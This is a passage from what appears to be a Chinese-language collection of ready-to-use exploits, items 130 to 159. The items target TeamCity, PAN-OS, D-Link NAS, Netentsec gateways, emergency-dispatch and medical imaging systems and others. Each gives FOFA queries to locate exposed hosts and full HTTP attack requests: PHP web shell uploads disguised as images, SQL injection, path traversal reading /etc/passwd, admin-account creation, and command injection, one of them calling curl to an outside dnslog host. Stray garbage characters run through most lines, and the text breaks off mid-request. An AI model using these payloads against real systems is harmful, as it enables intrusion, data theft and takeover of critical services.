0 o' p& }0 B0 c7 c9 o" ]GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
4 s7 i2 e4 W' [" h" J  C" V9 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
+ ~1 Q$ J+ @# n2 [# X, D' n" k
- |# U$ a: D* f$ q
) ]$ _7 l3 a. p7 }4 B第二步，读取/etc/passwd文件
1 K) q4 G5 {  UGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
$ t' e8 B6 I4 o3 r  `Host: x.x.x.x
/ ]9 O2 Y' I: D+ U  o$ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
" h) a# i) n7 \2 D. X8 G# [# CConnection: close
8 z& x3 v* M0 v& C* D: l/ Wuuid: 85f60018-a654-4410-a783-f81cbd5000b9


% f" _& }& m3 B/ L4 r5 f5 N130. Laykefu客服系统任意文件上传
( X8 w0 N* a2 c  l) bFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
  n5 b% q. k3 HHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
# h* ]1 j2 o! i- d$ r+ ]X-Requested-With: XMLHttpRequest
' p$ C; k) F. p0 U5 WUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
* h/ C8 n3 B* r, d( q, bContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
$ H# P( e+ @' t( Q* Q0 |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- z8 U( a' Y9 |Cookie: user_name=1; user_id=3
Connection: close

7 R( n8 A& t( v; O; {  o$ V! a------WebKitFormBoundary3OCVBiwBVsNuB2kR
/ q3 t9 o, ]( y9 `Content-Disposition: form-data; name="file"; filename="1.php"
7 X5 j5 ]* L  c8 [5 n8 r: ZContent-Type: image/png
4 c" {: q2 H) l; Z( O. T6 }- N
$ Q# P, G+ j' c5 w0 q<?php phpinfo();@eval($_POST['sec']);?>
3 F2 i- h, a0 s------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
5 q9 B8 \+ V- _1 x$ m& @' A2 |. G; YFOFA：icon_hash="-2087517259"
: H& P& l2 a! w* ?' `5 U后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

( J& r' r3 T' x1 ^) D, @! D132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
) f* l# C; [0 x$ u; m6 K- V' f- J4 d  T' _CVE-2024-27198
7 C- i- l! ]1 Q6 sFOFA：body="Log in to TeamCity"
! W/ W* x1 m4 S' l$ \POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
* r4 K* }/ \0 i4 X9 N9 S- EHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ [9 \2 h9 v! t$ k+ [1 q* `  kAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

4 ^7 K/ w' T+ v8 {
CVE-2024-27199
/res/../admin/diagnostic.jsp
4 o; e: C" @& a; A5 F' x* U/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

4 B' ~% H; `+ U( v: I133. H5 云商城 file.php 文件上传
5 o1 E0 S% u0 S3 m# l( S1 tFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
8 [- P3 q1 n: N9 \2 u) ~Host: your-ip
$ h) ~* ]2 A$ D6 p; uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
# v) p9 H3 G) G$ u2 x
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
- z* p! L/ T1 I# x3 v. mContent-Disposition: form-data; name="file"; filename="rce.php"
, y+ h1 W9 u3 ]2 H8 tContent-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
( y2 D, a  Y6 O5 r& p1 n0 l. O6 m


134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
' D* H9 h7 b# \; A' ^* }' eFOFA：app="网康科技-NS-ASG安全网关"
1 E7 |8 j! m8 L/ z* _& ]POST /protocol/index.php HTTP/1.1
0 h6 {6 d2 c* l. w6 _& N5 rHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, N7 R; y, ~- R2 VAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
8 ]4 Z  P! y3 ^& F1 rSec-Fetch-Mode: cors
) v- S9 E% z* L4 P, [# V5 ^Sec-Fetch-Site: same-origin
  a4 r$ X; a7 W% @& {Te: trailers
1 W  _$ n# @) A! Z% u- S2 w/ s' `; EConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
0 t7 f; R# q3 e( p! j4 v& h( G' R, Y

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
: {' F) |% [. K) v8 l* M. O0 \. dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

' ?  x& X2 T8 M/ n2 t! L, `" ^
( i8 A- B' i& |( H) w' n4 [136. NextChat cors SSRF
4 h* B0 ^" j7 e. ICVE-2023-49785
; c+ Q3 X. j2 qFOFA：title="NextChat"
2 n' V9 A* L/ }& s2 W. }! xGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
. \/ Y0 I0 H2 t# Z" ?6 aHost: x.x.x.x:10000
( t/ p3 v7 K# v+ n2 ]/ h* `! VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 p7 q6 Z" ]& NAccept: */*
2 o$ C$ g5 ~/ MAccept-Language: en
: m$ f7 G: u# sAccept-Encoding: gzip

9 B% t2 N% T+ k2 \+ G0 ]
137. 福建科立迅通信指挥调度平台down_file.php sql注入
" l/ E1 W9 `  k8 |- ]" B! k; mCVE-2024-2620
  ~$ Y2 z$ ?( i% A5 UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
: @% X% o/ P6 n, ~" e# V3 Q  AGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
9 G& h, H+ d* _3 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 K3 k- h& a* B( aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. y  [9 B" B2 H7 B/ f4 U/ iAccept-Encoding: gzip, deflate, br
$ ~6 x- g% k/ s) I" L' gConnection: close
! [; C7 X" L" U' `Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
2 S) e, E2 g. Q& s: TUpgrade-Insecure-Requests: 1
4 c( S' _1 ]7 B+ }$ d4 u

5 a1 i* ?& h( F5 {9 V8 P138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
1 M8 S6 j1 E4 `FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
0 u8 D  J8 o( YHost: x.x.x.x
% `1 M: {" P9 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ~  _6 H1 w& V( c) B0 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
6 n/ K+ }( T( T9 TFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 o/ R4 C7 ^- o) pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# Q# N- P8 s  s; oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. Z( g; K  k1 ^) ^% @2 W% s7 c* OConnection: close
/ ?$ }5 |$ K+ U$ K) h" fCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
0 Z& `: e4 I' Z. M
! T+ `$ ]/ L7 ]9 h, d, X9 U
, B' I; Y0 L: ]) q6 |* p140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
4 v* Q* V" B1 q1 rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) c6 d" Q; k2 \$ @, T% @8 MGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
4 o" U+ J- N( x" H/ _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 K3 i8 _- R2 O/ k, `% w9 r" v3 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ L2 W# u3 P3 `& qAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
: W* ^  C! d8 Y) _* _4 R3 a4 Z+ [% u

- D( G+ i6 `) v, j% Y+ K141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 Q& Y5 s5 X; H1 x8 e; PFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
$ f" H; N) n; i4 H0 E) [Host: your-ip
- c3 _+ y/ l' ~User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* j" T$ D) s3 @( a$ p* a9 }Content-Type: application/x-www-form-urlencoded
2 F' E. s# z9 c! e% l
/ V" Q+ e- n/ ~( F+ n
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
. H* g  h5 ~( S( n  g
4 \4 _, v5 U! Y
' F+ p9 ^" p0 w6 B; k1 S142. CMSV6车辆监控平台系统中存在弱密码
& `6 q3 }% m( m# M- t( cCVE-2024-29666
3 u  x. J5 j; C4 j1 L5 b7 a9 j( _FOFA：body="/808gps/"
. I  t: D9 ^* a$ Q; Ladmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
6 b! X; }- h  X% B: \; sFOFA：app="D_Link-DNS-ShareCenter"
3 B. J: t% @( I4 D5 J. osystem参数用于传要执行的命令
- ?( I: \( E  YGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
7 S0 [& @5 c' dAccept-Language: en
+ k' O/ X$ K5 Z7 C6 a( BAccept-Encoding: gzip
" ]8 P- X' t$ D8 t+ r

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
; I( Z& I" o" @& LCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 `3 y& o7 U! sConnection: close
) S" d: D# h6 ]0 YCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
" k* ^+ M* D: b6 i# WAccept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
4 P9 \& h  g6 g* MCNVD-2024-02175
! a' M& ~6 a0 q& b$ W$ aFOFA：app="MajordomoSL"
( \& T+ V5 M! t" vGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
" F& x* `+ g: E+ ~+ o* _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
. ]' \# l3 S! G7 k& @. \" RConnection: close
" X, C+ d+ s6 A1 W! @6 j, f
. f' k, h( p# ]" K8 v% d; r
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
0 f& Q  M! G; ZCVE-2024-32399
FOFA：body="RaidenMAILD"
. p3 l. z/ p) s3 mGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
6 M$ G0 c- `' y/ B: C( L
: o1 a9 _. x0 x; |; ^0 E
. b9 N* W' u) g( n: s! E+ ^148. CrushFTP 认证绕过模板注入
0 G1 @8 |8 H( v' jCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
/ h) P4 w6 V1 T0 \6 a: E# w
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

% G+ ~! N! u. u3 l& y% x- CPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# |( p, m& V- g) u3 V! ?Host: x.x.x.x
& x$ z. b1 n. H& o) i& a8 N" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ q# Y4 s" h+ s3 `6 l9 D; d" D6 a& RAccept-Encoding: gzip, deflate, br
( u8 o! D3 m0 d% K0 mAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
  N+ g% @& `1 ?2 P, FConnection: close
$ D$ {. X- X& q* v" D+ P+ n
" G1 ?: r$ i/ X{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

5 n+ V" P( |+ T5 L150. AJ-Report 1.4.0 认证绕过与远程代码执行
3 ~7 W5 t" f) z# GFOFA：title="AJ-Report"
6 [( u3 V( O1 k& ?% V* ~$ ZPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 }, L) \3 R2 S# I8 P7 M2 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 d8 H# o! `% q) L& d/ [! ^. w+ PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* x" P0 S% O* {- h# b. A* NAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
4 O$ j, R# ?, \9 KContent-Type: application/json;charset=UTF-8
3 v6 E) B1 {$ _# j' q- i; pConnection: close
# `8 j2 e* G# yContent-Length: 339

$ I% M" X, i3 W- a7 b+ ]1 e9 V* m{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
& c# V  ?$ C& C+ q# O" e2 [9 R

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ A  z, z$ H" FConnection: close
Accept-Encoding: gzip
) L* @& j4 `7 m, D: k, Q  t
. k8 o) o) |' ?$ r# g
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
* U/ K, X. u! h$ ]7 P9 L. NFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
) m& [. A  [. q; u' S7 ]0 vGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
# \4 x) C2 Q3 ~* o1 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
. L' c7 y/ ~: o9 y2 ?9 c: D3 v1 N( f) W; eConnection: close
) m' j/ K' V) j* [Accept: */*
  t9 F- W8 g8 ~& Y: j4 JAccept-Language: en
/ R2 p2 k4 z, W% G( r4 U) n) r' YAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
! B- |8 z9 r% ]

4 C6 q" T+ u7 m8 O1 V153. gradio任意文件读取
5 a9 Q3 H0 A4 g, \5 YCVE-2024-1561FOFA：body="__gradio_mode__"
# I7 G/ b/ P- P# u7 i5 _# k第一步，请求/config文件获取componets的id
http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
9 W' y: U! J: s1 ]8 D5 TPOST /component_server HTTP/1.1
6 \9 B; A# K  AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
1 }* G, F; O5 S$ E2 x& w" [Content-Length: 115
Content-Type: application/json
8 v; w7 g, I6 ?/ q+ v/ t+ hAccept-Encoding: gzip

4 I" x$ D9 t% W/ A- {; E: Q{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


8 g/ N% ]$ G0 K/ a第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
  Y3 F/ p) I9 I6 l$ D+ s! ~

0 I  y* q, h* U! N% [, ^5 F. t/ |154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
8 ?6 K9 f% {3 y0 ?- tPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
2 L2 H& L2 O4 u9 z+ T3 dContent-Length: 106
# m& l% N/ \' f# @4 l3 y" UCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
# B4 Z+ E. G. UContent-Type: application/json
) A3 G& e. k: R- w5 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 y2 k3 v% H: q  k/ WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
- p4 W# l0 E! ?6 S2 H* O
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

& _' e: }* ~5 G( ~  ~! i! s  y
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
" p) H! V4 S# B+ {; x- UPOST /include/file.php HTTP/1.1
Host: x.x.x.x
. _  K4 l6 S: f- }2 a  \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
( o4 ]9 e; W0 ?9 x4 g+ zContent-Length: 232
$ v9 S" @2 R  O  y5 M5 lAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
7 _9 z$ b) E( K7 @
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
+ p( v7 M: @# V, U& ^& ~9 k# SContent-Type: image/png
" M8 s- {4 F) E9 O% ^
1 @) `2 y( s; S+ C  n9 Z* \$ S<?php phpinfo();unlink(__FILE__);?>
! ~( O8 @2 Y6 Y) v9 L-----------------------------qttl7vemrsold314zg0f--
# @- C. N- ]0 k" V" j" J2 z& c8 V
5 q2 G" \2 s+ P
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
4 g3 q" L4 J  l9 X1 {+ \$ rCVE-2024-3721
FOFA："Location: /login.rsp"
5 W+ v: {/ t6 `·TBK DVR-4104
9 Y7 p4 @% @( t# _' n·TBK DVR-4216
/ f& L( @& Z+ Jcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

$ }; @) g4 D( [$ h+ N9 }
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
& _& R1 S, Q; j+ J, IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
; h. ?8 j! N% iCookie: uid=1
; u. v" Y8 f" f% L. [, s% mAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
+ Y' t, h. V' FPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
8 o, M5 o8 Z& T$ FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 R7 D5 |# J( L1 c8 bContent-Length: 709
8 Z; C$ }. P1 e+ f1 w% n: s+ X' bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
. d$ m# S8 U' b$ z2 ^2 kConnection: close
: v0 ?; I! q) k" KContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
8 d! |. H; e* e: J) \5 Z: CUpgrade-Insecure-Requests: 1

( I) Q0 C, ~7 t2 v/ S  p# I------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
2 e. @' R& s! z" sContent-Type: application/octet-stream
/ G8 T  e' ?! `( G( h3 ^3 k9 r
+ h9 ^3 p0 K3 i; W) Inyhelxrutzwhrsvsrafb
4 `" A% @) z* {0 C* {. |# W- {------WebKitFormBoundary1imovELzPsfzp5dN
( w' J7 C0 k8 U- T! u: ^Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
! O& l# |, {) }, G7 G% D4 @Content-Disposition: form-data; name="form"

) u/ T  N" W8 r7 u7 @5 jnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
$ h5 \$ Y) ?  m( t
/ x- _" T& G8 Onull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

4 M% ?, V+ @7 y* v' W% ^7 B( H3 ?null
5 H, }8 w6 @7 ?$ ?$ [: v------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

9 W: v: V+ }1 V  T/ Nnull
------WebKitFormBoundary1imovELzPsfzp5dN--
; q7 G0 u) U5 \3 I) y

( N: a0 m. j+ Y. Khttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

2 y% I9 m6 z* r* L* m158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
$ H4 M& P4 Z" p3 W/ h- ~POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
% T4 q  B: E# K$ C9 o8 T3 U3 fContent-Type: application/x-www-form-urlencoded

1 W4 V2 N+ i3 ]6 a2 ~object=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
) S: q3 s( V6 j% }, F' p; B/ c  HPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
' t$ d2 w# {, x1 I% ?1 qAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
4 G; `  x5 w! _0 C: S' x9 r  cSoapaction: "http://rainier/jobUpload"
3 T& y6 d" R& Z- Q/ f0 d
# {% T7 q% s  W6 d+ D<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
